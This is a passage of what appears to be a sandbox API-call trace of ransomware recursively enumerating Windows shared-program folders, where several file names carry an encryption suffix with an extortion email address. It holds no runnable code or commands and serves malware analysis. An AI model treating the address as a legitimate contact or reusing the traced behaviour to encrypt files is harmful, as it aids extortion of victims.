lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.495] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0272.495] GetLastError () returned 0x12 [0272.495] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b24c730, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b24c730, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b272890, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x3bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSEPSI~1.ACU")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b272890, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b272890, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2989f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSGIFI~1.ACU")) returned 1 [0272.496] GetLastError () returned 0x12 [0272.496] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2989f0, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b2989f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSJPGI~1.ACU")) returned 1 [0272.497] GetLastError () returned 0x12 [0272.497] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2beb50, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x782, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSPNGI~1.ACU")) returned 1 [0272.497] GetLastError () returned 0x12 [0272.497] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0272.497] GetLastError () returned 0x12 [0272.497] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0272.497] GetLastError () returned 0x12 [0272.497] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0272.497] GetLastError () returned 0x12 [0272.497] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0272.497] GetLastError () returned 0x12 [0272.497] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0272.497] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.498] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.498] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0272.498] GetLastError () returned 0x12 [0272.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0272.498] GetLastError () returned 0x12 [0272.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0272.498] GetLastError () returned 0x12 [0272.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0272.499] GetLastError () returned 0x12 [0272.499] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0272.499] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.499] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0272.499] GetLastError () returned 0x12 [0272.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.499] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0272.499] GetLastError () returned 0x12 [0272.499] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0272.499] GetLastError () returned 0x12 [0272.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.499] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.499] GetLastError () returned 0x12 [0272.500] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.500] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.500] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.500] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0272.500] GetLastError () returned 0x12 [0272.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.500] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.500] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.500] GetLastError () returned 0x12 [0272.500] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.500] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.500] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.500] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0272.501] GetLastError () returned 0x12 [0272.501] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0272.501] GetLastError () returned 0x12 [0272.501] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0272.501] GetLastError () returned 0x12 [0272.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.501] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.501] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, 